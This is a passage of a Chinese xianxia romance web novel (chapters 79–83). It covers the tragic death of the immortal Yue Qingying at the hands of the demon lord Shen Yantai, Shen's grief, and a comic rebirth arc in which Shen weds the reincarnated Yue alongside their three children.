“是啊……什么神器……”宋先灵拧眉思索,忽然眉眼一抬,语气阴恻恻道:“情丹。” “情……丹……?”婢女说的磕磕绊绊,从她茫然的表情便知,她对情丹一无所知。 “情丹……上古时期的神器,与凤凰喙媲美,凤凰喙一啼失命,二啼失忆…… 而情丹…… 则是可以掌控人心,直到将这个人利用完了,剜心法致人于死地。” “原来……原来月轻盈的依仗是情丹啊。” 宋先灵放下被他嘶哑破烂的手,眼里有着戏谑的光。 “真可笑,我这就毁了情丹,月轻盈你还有什么底牌?” 月轻盈全然不知道,自己最后的一张牌已经被宋先灵给猜测到了。 三天,开始的第一天。 月轻盈为了接近沈砚台,撒波耍赖,闹得让魔物去找了沈砚台。 “沈砚台,我饿了,腿不便,我抓果子吃都没有办法。” 沈砚台冷冷看他:“修行之人可以不用吃东西。” “我现在是怀了崽崽的人,无法修炼,只能吃东西,要是不吃我会饿死。” 沈砚台认真的看了他片刻,确认他现在身子笨重,体内又带毒,还断腿,权衡之下,给他找了果子。 月轻盈一边吃果子,汁水四溅,一边抓沈砚台的衣袖擦嘴,还要继续道:“沈砚台你喜欢我。” 沈砚台无动于衷。 第一天失败。 第二日,月轻盈又嚷嚷着自己要生了,将沈砚台骗来,之后便柔软的依偎在他的怀里,给他说三个孩子叫什么名字,让沈砚台好好照顾他们。 趁沈砚台闭眼不理他的时候,凑过去亲了他一口,得到一计瞪视也不怕,继续提:“沈砚台你喜欢我。” 沈砚台看着他总是念叨,用那双明亮清澈的眼睛看他,石头般坚韧的心有了一丝皲裂。 这日晚。 婢女将自己的所见所闻都告诉给了宋先灵。 “正好,我等的就是这个时机。” “你去请魔尊过来,就说我要和他商讨后天屠杀正道修士祭天一事。” 婢女不解道:“尊后,你不是要骗魔尊的情丹将他毁了吗?怎么又提到杀正道修士的事了?” 宋先灵笑得疯狂:“我改变主意了,我要月轻盈心如死灰,在杀正道修士祭奠那天,彻底绝望,死无葬身之地。” “是。” 婢女看着这样心机深沉,玩弄人与鼓掌之间的宋先灵,只觉得惊骇不已,逃也似地跑了。 沈砚台几乎是在瞬间来到宋先灵的身边,诚如他所说,宋先灵先是提了杀正道修士一事,又提了自己的弱势。 “砚台,怎么办,我现在怀孕身子弱,好害怕那些正道修士反抗时对我出手,我死了没关系,可是,我死了你该有多难过啊,我不希望你为我伤心伤神。” “不会的,我会给你所有的一切。” 沈砚台说完这一句话,像是剖心剖肺般,将自己身上所有的神器法宝灵丹妙药全都递到宋先灵面前任由他挑选。 宋先灵感动的一塌糊涂,撒娇道:“那你不要看我选了什么。” 沈砚台对他深信无疑,说了好,便转过了身。 宋先灵得逞一笑,随即,垂下眼,对着那些神器挑挑拣拣,最后在一个不起眼的角落拿起了一块不起眼的东西。 神器情丹。 他打量着情丹,脸色忽然沉了下来。 这个情丹根本没有开启过,那……沈砚台爱上月轻盈,并不是靠的情丹这个外力作用。 他握着情丹,眼睛瞪的都要出血了。 他拿出凤凰喙,喙尖在情丹的爪尖处点了一下,只听咔哒一声,情丹仍能开启却不能起到剜心的作用了。 他将情丹混入其中,随便挑了两件还看的过去的东西,然后让沈砚台转过身来。 “我挑好了,谢谢你,砚台,你是这个世上唯一一个对我这么好的,我一定也会对你好的。” 沈砚台笑笑,伸手揉揉他的脸,眉宇似春雪融化,“我也会对你很好的。” 第三日来临。 月轻盈知道今天不成功,他就只能和江源等人联合,用尽一切计谋对沈砚台宋先灵出手。 他低下头,看着自己的孩子,伸手抚摸了会,整个人寂静又死气沉沉。 这一次,他无论如何也不能沈砚台死了。 第80章 第80章 魂飞魄散 第三日如约而至。 留给月轻盈的时间不多了。 让魔物将沈砚台骗过来之后, 月轻盈强撑着腿疼,带他去了别云间。 “这里是你的住处,我们有很多很好的回忆, 你想起来什么没有?” 别云间早已不是先前那个空落地安身地了, 有了月轻盈的细心打理, 这里多了很多生气。 说是仙境毫不夸张。 见沈砚台无动于衷,月轻盈又带他去了他们孽缘开始的大殿。 月光朦胧,像是披了一层薄纱,沈砚台坐在首位。 月轻盈回想着之前的舞, 跳给他看, 只是身子笨重已然不如当初的柔美和灵动。 沈砚台见他做了这么多是有一些相信的。 高高在上的第一仙尊月轻盈,如果不是因为感情, 绝无可能放下身段跳这种放浪的舞。 “你想起什么了吗?” 见沈砚台摇头,月轻盈也没有多失望, 毕竟他死过了一回。 现在他重生了,就是从头再来, 埋在深处或者已经消失的记忆, 是再也回不来了吧。 月轻盈也折腾累了, 坐在地上,问沈砚台:“真的要杀了那些修士吗?” “先灵想让他们死。” “现在你已经是口口声声把宋先灵挂在了嘴边吗?” 月轻盈心脏暮地一疼, 有些嫉妒起宋先灵了。 “是,他是我最重要的人。” 月轻盈看着他, 眼角迅速落泪, 他伸手擦拭,眼神变地坚定。 “如若这样,那我们便是敌人了啊。” 沈砚台不语。 月轻盈苦笑,随即起身先走一步。 “算了, 你想不起我,我也不要你了。” 沈砚台身子向前探,追踪他的身影,“你要去哪?” “回绝仙台,还能去哪?” 月轻盈走了。 沈砚台坐在原地,整个人如石柱般定住了似的。 月轻盈和沈砚台一起离开的消息,很快传到了宋先灵的耳朵里。 “明日就是杀那些修士的日子,今天晚上月轻盈肯定有动作。” 宋先灵吩咐道:“你让看守们松懈些,这样才能顺理成章的让月轻盈逃出去。” 江源等人按照约定来接月轻盈,放倒了看守后立刻逃脱。 来到一座不知名的山峰。 月轻盈坐在地上,江源等人居高临下的看着他,逼他交出天骨。 月轻盈抱住自己的大肚子,说:“天骨遗传是真的,天骨在我的孩子的身上,现在他们还不想出世,你们难道想剖腹不成?” 江源等人眉头一皱,不是没想过。 月轻盈眼里带上了冷意,“就算你们剖腹也没用,他们跟我血脉相连,我要是死了,他们定然也不会活。” 江源急了:“你这话是什么意思?” 月轻盈舒出一口气,语气软了一点:“我能感觉到他们想出来了,不出意外该是在明天。” 不等别人反应,他自己先自言自语起来。 “真是可笑,他们的出生和那些修士死是同一天。” 江源等人无奈,却也没有办法。 月轻盈说:“若是你们不着急,不妨就明日吧,待孩子出世,你们便可以借助天骨杀了沈砚台和宋先灵。” “你的意思是,你要跟我们一起?” “是。”月轻盈的眸光是前所未有的明亮。 “明日我和你们一起。” 祭天行动,规模宏大,迅速展开,收到消息的妖族,魔族,精怪,一同前来观看。 月轻盈和江源等人,缩在传送阵里,便于查看场上有多少敌人。 江源狠地咬牙:“沈砚台真是太恶毒了。” 月轻盈顺着他的视线看过去。 只见那些被俘虏的正道修士,竟然是被沈砚台做成了靶子,他的身后站满了弓箭手。 主要他一声令下,这些修士顷刻间就会成为被洞穿的筛子。 “他们开始举行仪式了。”一人提醒道。 宽阔威严的圆台上。 周边一圈挂满了变成靶子的修士,他们的身边都站着一个魔族,手上都拿着一把露出寒光的刀。 沈砚台一声令下,这些魔物拿刀,将修士们的手指划破,鲜血流淌。 沈砚台起势,用魔气将这些血滴汇聚,用气流将这些血滴送上天空。 风云巨变,雷云顷压,电闪雷鸣,原本晴朗明亮的天空,变得混浊带着血色,空气里都是涌动的血腥味。 上天收了沈砚台的礼,祭天成功了。 下一刻,就该是沈砚台下令让弓箭手杀了场内的修士。 就在这个时候,江源等人发声,“上!” 祭天被毁。 突然涌进来大批穿黑色长袍的修士,他们先将看守修士们的魔物打飞,再企图救修士。 谁想,沈砚台竟然是动了动手指,从他的身后竟是出现了几万大军。 江源见状,脸黑了破口大骂,“沈砚台真是无耻,早就料到我们不会无动于衷,竟然是在这里设了个局等我们。” 月轻盈一言不发,按照沈砚台的性子,他确实做任何都留有一手。 “你们先走,我来抵挡。” 场中救下了一个修士的月轻盈,踹飞一个扑上来的魔族,掩护江源等人离开。 江源反手抓住他的手,龇目欲裂,“你在瞎说什么,你身上还有天骨,我怎可放任你不管?” 月轻盈冲他笑笑,反手将他的手震开,眼眸清亮,“我骗你们的,根本没有天骨遗传。” 趁着江源怔愣之迹,月轻盈出掌将他拍飞,他一人独自对付几万大军。 月轻盈看了一眼藏在魔族军中的沈砚台,飞身而走,众人前去追拿,却见他停留在绝仙台。 “月轻盈你还想干什么?” 沈砚台一眼就认出了月轻盈,从人群中走来,看向他的眸子带上了可笑。 “你以为你毁了我的祭天典礼,我会放过你?” 月轻盈不语,只执着的看着他。 沈砚台语气带上了阴狠,“你以为你替那些人做遮掩,他们就能逃掉吗?我的人早已去追杀他们了。” 月轻盈神色难辨,伸手一下下摸着大肚子。 见他久久不语,沈砚台有些急躁了,“为何一言不发,是在拖延时间吗?” 月轻盈深深叹了口气,脱下兜头的帽沿,露出清丽绝尘的容貌。 他看向沈砚台,竟是开口祈求:“沈砚台,我知道我毁了你的祭天大典,你很生气,但是你能不能看在孩子的份上,待我死了之后,剖腹将他们救出来?” 沈砚台浑身一震,竟是没想到月轻盈会提起死字。 “你想干什么?” “不想干什么,只是觉得我做为一个父亲没亲自将他们生出来有些伤感。” “沈砚台你要是不救他们,他们,还有我,都会伤心地。” 沈砚台见月轻盈眼里坦荡,就知道他说的不是假话,不知为何,心口徒生怒意。 就在他要上前去抓住月轻盈的时候,一道凄厉焦急的声音传来。 “砚台,救我!” 沈砚台几乎在瞬间转眸看了过去。 月轻盈目光流连在他身上,顺着他的目光看了过去。 一直没有出现的宋先灵,此刻竟是被挟持着,一把刀架在他的脖子上。 见他哭喊着求救,沈砚台怒意上头,转头对月轻盈怒目而视,“让你的人放了他,要是你敢伤了他一根头发,别说你我连孩子都会让他们尸骨无存。” 狠。 太狠了。 月轻盈垂泪,他以命换来的救救孩子,竟是抵不过宋先灵的一句救我。 他看向宋先灵,“别装了,那些挟持你的人不是你自己的人吗?” 沈砚台一愣,去看宋先灵。 宋先灵原本还在哭,后来竟然是咧开嘴,大笑了起来。 “没想到被你看穿了。” 他无视沈砚台看过来的视线,专心对付月轻盈,“早知道你会在祭天的时候捣乱,我便想着如何才能让你更绝望。” “刚才那一幕如何。” “是不是心如刀绞?” 月轻盈不说话,看向宋先灵的眼里带上了戒备,“你还想干什么?” “不想干什么。”宋先灵突然朝身后的魔族们喊,“你们还等什么,还不快杀了他!” 千军万马以吞噬之姿扑向月轻盈。 月轻盈难以抵挡,就在这时候,江源竟是突然出现,帮他挡了一招。 “噗……” 长枪枪头洞穿了江源的右胸,他的心脏被扎烂。 这次,他再也无活下去之法。 他看着月轻盈睁大含泪的眼瞳,伸手朝他抓过去,满心满眼都是天骨,执迷不悟。 “天骨……怎么不会在你那,你骗我……天骨,没有天骨,难道这个修真界这不得要被魔尊沈砚台统治了吗!” 他边说边吐血,眼里都是苍茫,嘴边还在不停念着天骨。 月轻盈泪眼婆娑,“你为什么要来,……我骗你的,天骨早丢了!” 江源见他哭的狠,似是真的相信了,他伸手抓住穿过了右胸的长枪,整个人似是进入了回光返照。 “啊……别杀我……别杀我……”他语气里都是惊慌。 “呜呜呜……我也不想杀了树岭里的仙兽,我都是为了整正道的正义……”他语气里都是呜咽,满是痛苦。 “只要我吸收了天骨……我一定……一定可以清除沈砚台……一定可以让正道恢复以前的繁华的。”江源说话的声音越来越慢,死不瞑目。 月轻盈再也忍不住,痛哭起来,江源有罪,在这一刻,他却是对他的罪难以追究。 “都是我无能。” 月轻盈双手颤抖,想着小川小河小宵的死,枉命的修士,那些陷入了战场的修士和魔族人的命…… “是我没有坚守道心……是我没有做到抛弃七情六欲……是我……都是我的错……” 就在他悔恨之迹,只听风声鹤唳,一道残影迅速穿过他的胸口。 他身体被带的往后倒,跪蹲下来的时候,他边吐血边看清,他中箭了。 抬头看去,沈砚台手上还握着弓。 月轻盈哭着放声大笑了起来,“沈砚台我做了那么多,就是想你想起我,还爱我,死了那么多人……我却还担心你会死……” 他满身血迹,头发散乱,再做不到从前的端庄清冷,般歇斯底里。 “烟台……我肚子好疼,我们赶紧杀了他回去,好不好?” 月轻盈的哭声戛然而止,抬眼看去,宋先灵竟是挺着大肚子。 “你有孩子了……” 最后一根稻草也崩断了,月轻盈头晕炫目,看向沈砚台眼泪一颗接一颗。 “他有孩子了,孩子是你的……” 沈砚台不说话,只是握紧了弓箭。 “你居然和别人有孩子了……” 他的每一句呢喃,都像是对自己的控诉,沈砚台深吸口气,“你疯魔了,我和谁有孩子与你何干。” 月轻盈看向沈砚台一言不发,只红着眼无言落泪。 不论是修为,还是拥有拥护者,还是爱情,他都输了。 他都输了啊! 这时,他肚子突然爆出出骤疼,他心如擂鼓,深知这是孩子要出世了。 他着急忙慌,在人群中搜索,竟是无一人能帮他,竟全都是想杀他的人。 “砚……”他将所有的希望都放在沈砚台身上,希望沈砚台能救救他的孩子。 他朝着沈砚台伸出颤抖的手。 他的话刚出口,宋先灵却是抱住肚子,叫的撕心裂肺。 “砚台……我肚子好疼啊,孩子……孩子要出世了……” 月轻盈泪水模糊了视线。 沈砚台选择了宋先灵。 沈砚台朝攻箭手下了令。 月轻盈的眼眸里只剩下雨点般的箭矢。 噗…… 血花迸溅炸开,月轻盈身上一沉,缓缓低下头,却是见到了许久未见面的小狐狸。 “咦……我怎么在这里……” 小狐狸大口大口吐血。 月轻盈痛苦抽泣,他不可置信地看着千疮百孔的小狐狸,口中喃喃:“怎么是你……” 小狐狸只是一介修为低微的魔族人,生命流失,很快就没力气说话了。 死前,她执着地看着月轻盈的面孔,释然地笑了笑。 原是我心悦他。 “快逃……” 小狐狸用尽最后的力气,将月轻盈推下了绝仙台。 月轻盈还想抓着小狐狸的手,小狐狸的瞳孔却是一点点在涣散。 “小……小狐狸……”月轻盈痛哭流涕,满心悲怆。 沈砚台见到这一幕,拧眉不语,见月轻盈要跌下去,本想放任。 宋先灵却是抓住他的衣袖不断祈求。 “烟台,你杀了他,为了我们的孩子着想杀了他!” 沈砚台在宋先灵和月轻盈之间,选择了前者。 他拿起弓箭,瞄准了月轻盈,不知为何,他的手却是抖的厉害。 月轻盈看着他,悄然落泪,“沈砚台……,当初你杀了我,我也就解脱了。” 手抖怎么也瞄不准,浑身像是没了力气一般,根本拉不开弓。 宋先灵在一边死命的喊,沈砚台一个心急,放了箭。 箭矢不偏不倚地射中了月轻盈的心脏,他缓缓落泪。 “当初的一百零八箭……竟然是这种结局。” 仙气散尽,求生意识消散……绝仙台绝仙,无情吞没。 月轻盈的身体很快就掉下了崖底。 回顾前尘往事,月轻盈只有痛苦,神魂不稳,魂飞魄散…… 绝仙台崖底,只剩下一具还未产子的尸体。 一尸四命。【你现在阅读的是 】 80-90 第81章 第81章 一男三子寻妻 不知为何, 沈砚台突然心口骤疼,不受控制的上前一步,伸出手想要挽回什么。 在这时宋先灵看出来端倪, 他伸出手抱住沈砚台的腰, 放声哭诉自己要生了, 疼得要死了。 沈砚台整个人有些恍惚,被宋先灵带走。 守在房子外,宋先灵的叫喊声刺耳,他却心不在焉, 脑海里一遍遍回放月轻盈掉下绝仙台崖底解脱的表情。 我从未爱过他, 为何,我却对他恋恋不忘? “噗……”唇边突然溢出血来。 沈砚台怔然看着, 余光突然瞥见到一抹金色的光往自己这边奔来。 他越看越觉得不真实,他伸出手, 一滴心头血落在他的掌心。 这滴心头血给他的熟悉感,他知道这是他的血。 沈砚台表情狐疑了起来, 带着迟钝的痛苦。 “我若是不爱他, 为何我会给他心头血?” 赋予了心头血的人, 若是死了,心头血没了着落便会回到主人的身边。 沈砚台手上轻轻用力握拳, 眼睫眨动,眼瞳空洞, “月轻盈……真的死了吗?” “咳咳……”又是一口血吐了出来。 他看着在阳光下绽放出光芒的心头血, 觉得脸颊划过一抹凉意。 用指腹擦拭,竟是有一滴泪水,沈砚台看着心头血,眼泪, 突然起身拔步就要离开。 房间内突然传出婴儿的啼哭声,接着是道道贺喜声。 “尊后生了!” “尊后为魔尊诞下了小魔尊!” 沈砚台满眼混乱,看着上前祝贺的人,伸手摸上了自己的心口。 他是蛟龙。 若是有了子嗣,子嗣会分去他的命数,子嗣降生时,更有一种被剥夺了生命力的沉重感。 可是……这个孩子的出生,他什么都感觉不到。 沈砚台看着眼前禁闭的门扉,本该走进去看望宋先灵,可是他的心却偏引着他去绝仙台。 月轻盈已经死了,魂飞魄散,他就是去又能做什么? 将心头血含入口中,沈砚台看了眼绝仙台的方向,转头迈步走进房子。 看了一眼脸色苍白的宋先灵,便用冷漠的眼神看着降生的小孩。 小孩小小一团,睁着眼睛,张着嘴干嚎,眼神灵动,肉乎乎的小手茫然的伸展想要抓住什么。 沈砚台被眼前一幕一刺,莫名想到了总被月轻盈双手抱着的肚子。 倘若月轻盈还活着,孩子出生,也该跟这个孩子一样。 胸腔一涌,沈砚台抿紧唇瓣,吞下了唇边的血,不让宋先灵瞧见。 “你刚生产完注意修养,这段时间我会让人照顾好你,听说刚生完孩子的人不能受凉,我过段时间再来看你。” 不等宋先灵回答,沈砚台大步离去。 枕着枕头的宋先灵,没有回应,只默默落泪,好半晌,才开口让婢女去寻花来。 好多好多颜色不一的花,被挤在房间里,刚降生的孩子也仅仅是占了一点地方。 真要说起来,却是连那些花都比不上。 宋先灵看着花,伸手紧紧将它拥入怀,眼前一直浮现那人死的画面。 “沈砚台你不告诉我他是谁,我便让你一直失去,让你也尝尝我的苦。” 沈砚台闷头走远,茫然抬头,却是不知道自己走到了绝仙台。 大战刚结束。 魔人都在忙着打扫战场,血腥味刺鼻,喷洒的血液和人死前的呜咽还历历在目。 沈砚台看着成堆的尸体,一眼捕捉到了江源,小狐狸。 他分别走到两人身边,看着两人僵直的尸体,想到这两人为了自己的目的救下月轻盈,让他有些恍惚。 月轻盈……好大的本事。 几次三番死不了,最后死在他的手下。 他垂下视线看向自己的手,不知何时,竟是在发抖。 他将手握紧背在身后,遮掩满眼慌乱,他不该为月轻盈的死感到害怕。 一个甩袖,他离开了绝仙台,转眼来到了别云间。 月轻盈初次带他来这里的时候,他便感觉到了无比熟悉和安心。 就在他怔愣的时候,一窝雪月兔闯入了他的眼帘。 雪月兔像是认出了他,蹦跳着来到他的脚边蹭蹭,它回头,其他两只雪月兔也过来蹭他。 沈砚台蓦然后退了一步,眼里闪过慌乱,他连忙离开,站在云层间,看着偌大的魔族,竟是吾无他的容身之处。 不知道想到了什么,他探手摸到了情丹。 月轻盈曾给他种下了情丹,如今,他已死,这情丹还能察觉到被种情丹者的情意吗? 沈砚台催发情丹,情丹咔哒一声响,却是没有发动,亦没有剜心。 他果然不爱月轻盈。 将情丹砸下丢弃,沈砚台忽觉到累,闭上眼睛,便躺在云层间睡着了。 他不知道的是,一个呼吸之间,他的满头黑发竟在瞬间变成了白色。 “盈盈,我唤你盈盈可好?” “你可得喊我夫君……” 梦境杂乱,可是每个梦里面怎么都有你的脸? 沈砚台被惊醒,几个喘息后,余光瞥见到自己变白的头发,抿紧了唇瓣。 从云层间落下,见到他满头白发的魔人们,皆都一愣。 沈砚台罔顾,径直朝着绝仙台走。 在众人茫然的眼神中,他纵身一跳。 绝仙台崖底,深渊处竟是有万丈,掉下来的时候月轻盈想了什么。 有没有怪我? 沈砚台又是一口血吐出,余光中忽然瞥见到崖底石壁上有颜色逐渐暗沉的血液。 他伸手探去,又害怕得缩回手。 就在这时候,深渊中竟是有细碎的光点在闪烁,逐渐消散。 这是仙君的魂魄,魂飞魄散时,总会绽放出最后的璀璨。 月轻盈……竟是魂飞魄散了! 沈砚台迅速来到崖底。 不远处,绿草成茵的地上,躺着一袭白衣的男人,浑身都是血迹,隆起的腹部瞩目,闭着眼睛,面容安详。 若不是察觉不到他的生机,还以为他只是睡着了。 啪嗒。 眼泪滴在自己的鞋面,立刻就是一个湿意的黑点。 黑点越来越多,沈砚台眉目痛苦,伸手揪住了自己的心脏,眼里都是茫然无措。 我不爱他,为何见他真死了,眼泪却先一步比我露出哀伤。 沈砚台脚步不稳,奔向月轻盈的方向,垂眸看他不在有表情的脸,突然鲜血止不住从唇间溢出。 “你死后,我怎么这么惨?” “我会呕血,头发变白,时常在这里徘徊……你说我喜欢你……可你死了……死无对证……” “可我的眼泪,我吐的血,我的头发,心头血……又都是证据。” “你到底是我的谁?” 沈砚台眼眶猩红,视线落在他隆起的肚子上。 探手覆盖上去,肚子里的孩子竟是向受到感应一般,开始踢他的手。 沈砚台目光难辨,只抖着手,破开了月轻盈的肚子。 三声幼嫩的啼哭,震的沈砚台头晕炫目,更切身体会的是,他的生命力在迅速消逝! 他怔然地看着地上三个浑身还沾有血迹的孩子,转目去看月轻盈,闭闭眼,伸出一双血手,将自己的气息洒在月轻盈还未消散的魂魄上,假装出自己也跟着魂飞魄散的假象。 一阵风吹散,绝仙台崖底只有一堆压的伏在地面的绿草蔫嗒嗒的。 魔尊沈砚台的魂魄在消散的消息,很快就传遍了众人的耳朵里。 宋先灵正捧着一束花闭眼假寐,闻言,只低低哼笑了一声。 “那是他的报应。” 他睁开眼,看向婢女,“传下去,就说魔尊沈砚台疯了,才会落得魂飞魄散的下场,由我来接手魔族魔尊的位置。” 魔族易主。 不过三界中却是多了一个传闻。 一个神秘的男人,怀中带着三个孩子,过火海,走雪山,听说,是去寻自己魂飞魄散的妻子。 三百年后。 三界五行中的其中一行。 江州,柳知县家热闹非凡。 门楣府邸都挂上了红绸,红灯笼,好事将近。 看着上门贺喜的人,柳知县脸上堆出来的假笑快要维持不住。 “柳知县真是好命啊,家里的傻儿子居然被砚王相中,嫁过去就是砚王妃,真是好命啊!” 柳知县:呵呵呵,你咋不说砚王带着三孩子? “柳知县你别嫌弃砚王带着三孩子,那三孩子可聪明着呢!” 柳知县:呵呵呵,那孩子一个比一个能搞事你怎么不说,砚王都他么成亲几次了,哪次不是那三个小孩给搅和没了? “柳知县恭喜啊,你家以后也是皇亲国戚了,你家傻儿子嫁过去那你是儿子的福分!” 柳知县:呵呵呵,这福分给你,你要不要?我儿子傻是傻,可他多美你知道个屁! “哎呦,砚王的花轿要来了吧?” 柳知县干脆是笑脸都不装了,满脸不满又不敢地憋屈着。 一阵吹吹打打的迎亲声,停在知县家门口。 “迎新娘子了!” 众人冲出去,去看新郎。 高头大马上坐着一身红衣的砚王,他俊美的脸上带着喜庆的笑意,端的是一表人才。 为了显示新娘对他的重要,他身后的花轿都是镶金玉石打造的。 不少人羡慕的看向柳知县,柳知县也不知砚王竟是对家里的傻儿子这么重视,眼里浮现了些满意。 “小川,小宵,小河,出来,接娘回家。”砚王,也就是沈砚台。 他历经了三百多年后,才修补了月轻盈的一魂一魄。 可是修补自愿魂飞魄散的修士,让其再次复活,这其中还得历劫。 这是月轻盈历的第一世劫难。 这个世界的国家马上就会发生战乱,江州会成为被敌国第一个毁灭的城镇。 月轻盈在这一世里扮演的是个傻子,傻子能对这个国家有什么贡献。 没法,沈砚台陷入了他的劫难中,三个崽子不放心爹娘,就跟了过来。 随着砚王的一句,柳知县脸黑了,其他看热闹的人一愣,便将视线落在从花轿上下来的三个孩子。 第82章 82 排排站的三个崽子 一只穿着黑靴的小脚脚从花轿上探出来, 之后是个圆润的小屁股,小身子,小脑袋。 小娃娃转过身, 用力后脸颊上红彤彤地, 他长相粉雕玉琢, 是老大,所以看起来很沉稳。 第二个小娃娃小脚脚抖啊抖的探出来,老大见状立刻上前抱住老二,两个人跌跌撞撞的站好。 老二长相憨甜, 肉嘟嘟, 一头黑发浓密蓬松的不像个小孩子。 老大老二排排站,等候最后一个小娃娃。 先是一只肥嫩小手挥舞了两下, 接着是一只小脚脚探啊啊 一颗圆脑冒出来,看看高地面, 再看看两位哥哥同时伸出来抱抱的手,他泫然欲泣, 摇摇头, 含着水雾的大眼睛寻找着什么。 “唔……” 一听这憋屈的哭声, 沈砚台就知道要遭,在老三没哭着喊爹之前, 麻溜的下马,弯腰一探熟练的抱起老三。 在场的人皆都倒吸一口凉气。 老三长的太精致了。 柳知县看着三个娃, 则是张大嘴, 下巴都要贴上地面了。??? 这三个奶娃娃长的也太像他家傻儿子了吧? “爹亲……”白嫩嫩小肉手抱住了沈砚台的脖子,不哭了,但眼睫毛还挂着泪珠,小嘴巴憋着, 好似受了多大的委屈。 沈砚台什么话也没说,大掌一下下拍着老三的小屁屁。 老大老二见状,眼里有着羡慕,但是爹爹抱不动他们三个,便乖巧又懂事的伸手揉了揉眼睛。 沈砚台:“……” 沈砚台额角青筋鼓起,一手一个往身上丢,背上两个,怀里抱一个,拖家带口去接新娘子。 “岳父,小婿来接新娘上花轿。” 柳知县不敢拦砚王分毫,手捂着心脏一脸哭唧唧,只盼砚王能对他家傻儿子好些。 一身红嫁衣的新娘被丫鬟牵着走出来。 沈砚台和身上的三个娃娃眼巴巴看着,许是嫌弃丫鬟带路太慢,又许是思念的尽头,那人终出现,他再不能忍耐,几个跨步,大手一挥,新娘子被他纳入臂弯,抱走了。 抱……走……了…… 百姓们:“???” “看来砚王憋坏了啊,这急吼吼的样子,哎呦,不知羞。” 月轻盈是傻子,脚尖一下子腾空他吓了一跳,腿弯被托住,他也没反应是怎么回事。 吹吹打打喜庆声响起,迎新娘的花轿回程。 花轿是空的,新娘人在新郎怀里。 到了砚王府。 管家小斯一干人等前来抱老大老二老三,老大老二老三不允,想跟爹爹和娘亲贴贴,拧着眉,小肉手用力。 见砚王衣服都要被扯掉了,也没对三个崽子发话,无奈,下人们又恭恭敬敬将三个崽子重新往砚王身上塞了塞。 沈砚台:“……” 算了。 利落下马,功名赫赫,战神砚王,身上跟搭积木似的,驮着三崽一妻回了王府。 到了婚房门口,沈砚台脚步顿住。 习惯了身上三个崽子的重量,他差点将崽子们也给带进了房间。 “下来。”轻轻地一句,三个崽子对视一眼乖乖巧巧地从他身上爬了下来。 老三也就是小宵,嘴里还在嘿哟嘿呦的喊着,仿佛他不是从爹亲的怀里下来,是从一座大山上下来。 可爱! 沈砚台憋笑,手掌抖着他,等他站稳才收回手。 “回去睡觉了,不准来捣乱。” 沈砚台回头,看着排排站的三个崽。 话一落音,三个崽立刻眼眶一红,泪珠子就要往下掉。 沉稳老大小川,“呜呜……爹,晚上……晚上不抱着我们一起睡吗?” 憨甜老二小河:“呜呜呜……爹……我不要……” 精致老三小宵,声音细细地抽噎:“爹……小宵怕怕……” 沈砚台看着泪眼汪汪三个崽,心如铁石,“哭也不行,我很想你们的娘,今晚我要抱着他睡。” 小川小河小宵眨巴乌黑大眼,懂了!他们以后也跟娘睡!这样,爹肯定会想他们,然后不跟娘睡跟他们睡! 小川挥手:“好叭,那我们明天再来看爹。” 小河:“嗯嗯,我听哥哥的。” 小宵:“我……我要爹爹亲亲……” 沈砚台挨个亲亲,让下人将他们抱走,这才专注地看向自己的小新娘。 门,吱呀一声关上。 红色烛火摇曳。 月轻盈都快靠着暖源睡着了,等感受到自己坐在床沿,才从迷糊中醒来。 一直遮掩在眼前的红色被掀开,慢吞吞抬眼,就见着一张笑脸。 那是一张怎样俊逸的脸,眉眼如山海,此刻正看着自己傻笑。 月轻盈愣了愣,不知为何,心生怒意,啪……一掌打在了沈砚台的脸上。 咦,他打人了? 他拧着眉头,盯着自己的掌心,研究,他打人了! 他从来不打人的! 他猛地抬头去看男人,男人不怒反笑,还问他手疼不疼,有病! “走……走开……” 听月轻盈声音软软带着怒气让自己走开,沈砚台挑眉。 月轻盈的一魂一魄是会生气的类型,初见他时,还以为他不会笑不会说话。 “真好,再来打一巴掌吗?”沈砚台把脸凑过去。 月轻盈吓了一跳,伸手抗拒地推开他的脸,可手碰到他脸上肿起来的巴掌印时,又呆呆地伸手去贴贴。 “疼……疼……”月轻盈的眼睛很木,说话也结巴,可是…… 仅仅这些小举动,就已经让沈砚台欣喜不已。 他伸手圈抱住他,头埋在他肩膀上磨蹭,嗅着他身上熟悉的香味,眼角早已湿透。 “不疼。” “哭……哭?”月轻盈眨巴眼,嘴巴嗫嚅,想说更多的话,但因为一魂一魄的限制,没法再有更多的表达。 见男人哭了,他满脸迷茫,伸手帮他擦泪,还伸出舌尖尝了尝泪水的味道。 “呸呸……” 沈砚台被逗笑,捧起他的脸,亲了他一口又一口,唇边溢出满足的喟叹。 第二日一早,沈砚台就早早醒了,先是看了一眼月轻盈的状态,见他睡得安好,接着起身。 先后去了三个崽子的房间,见他们睡得脸蛋红扑扑,唇边带笑,去了厨房,给他们准备吃的。 三个崽子是他一手带大的,可能是当时从母体将他们剖开,泄露了些灵气,他们的灵根有些残缺。 不过问题不大,食补药补一起,只要他们在吃上几顿,灵根就会完好无损。 下人们也早都知道砚王疼三个孩子疼到心眼子里,乖乖让位,给他打下手。 睡饱后三个崽子便醒了,一胎同出,心有灵犀,三人聚首,一同朝着爹的房间进发! 啪! 房门被推开。 三个小身影鬼鬼祟祟摸进,走到床榻,见爹不在就知道他去给他们准备吃的了。 三个崽子嘴上不吃,心里美滋滋,低头去打量睡得很香的新……娘。 “哇……”小宵发出呼声,见床上的人眼睫动了动,伸小手捂住了嘴巴。 新娘亲长的好漂亮。 沉稳的小川看着新娘亲,脸颊红了。 小河看着新娘亲,一脸傻笑,然后爬上床和他躺进了一被窝。 小宵:“!二哥卑鄙!” 小川扒拉:“不行!你不能睡!下来!” 小宵怕不够乱,急地直喊:“二哥,二哥,抱我,抱我上去!” 月轻盈被吵醒了。 转头见怀里一个崽,床边两个崽,眨了眨眼睛,绽放了一个笑。 三个崽,被击中心脏,嗷呜一声,扑倒在月轻盈的怀里。 算着时间,三个崽子差不多该醒了,沈砚台打算去喊他们过来吃饭。 得知三个崽都去了自己的房间后,脸色一变,等他赶到时,就见月轻盈和三个崽睡得香。 沈砚台站在门口,心口像是被重重砸了一拳,看着他所重视的人都在眼前,他有种圆满了的感觉。 “砚王……” 下人示意吃食怎么办。 沈砚台接过,用灵火煨着,自己也爬到床榻上,长臂一拦,三个娃一妻,尽数被他圈抱住,塞满了他的胸怀。 第83章 83 喊娘 月轻盈是被压醒的。 睁眼一瞧, 胸前一只壮硕的臂膀,怀里两个挤过来的崽,头顶上还压着一个。 他顶着一头乱糟糟的头发, 眉头一点一点皱了起来, 在他启唇道不满的时候, 大手在他眼前挥舞,让他不适的重量被挪开。 